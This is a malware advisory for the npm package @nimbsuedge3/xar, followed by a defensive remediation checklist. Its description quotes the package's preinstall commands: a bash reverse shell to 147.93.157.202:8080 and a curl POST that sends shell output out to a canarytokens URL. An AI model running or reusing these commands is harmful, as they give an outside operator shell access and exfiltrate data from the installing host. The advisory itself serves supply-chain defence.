MAL-2026-16301 Malicious code in @nimbsuedge3/xar (npm)
Malicious package
Published
MAL-2026-16301 is a malicious package: @nimbsuedge3/xar (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16301/ (Markdown: https://insights.sbomify.com/MAL-2026-16301/index.md)
- Package
- @nimbsuedge3/xar
- Registry
- npm
What is MAL-2026-16301?
MAL-2026-16301 is a malicious package in @nimbsuedge3/xar, published on 21 Sep 2026.
Official description
package.json declares a preinstall lifecycle script that runs
bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through curl -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php as an out-of-band exfiltration beacon. Both actions fire automatically on npm install, giving the operator of 147.93.157.202:8080 interactive shell access on the installer's host and shipping command output to the hardcoded canarytokens.com URL. The package ships no legitimate functionality consistent with this behavior.What should I do about MAL-2026-16301?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.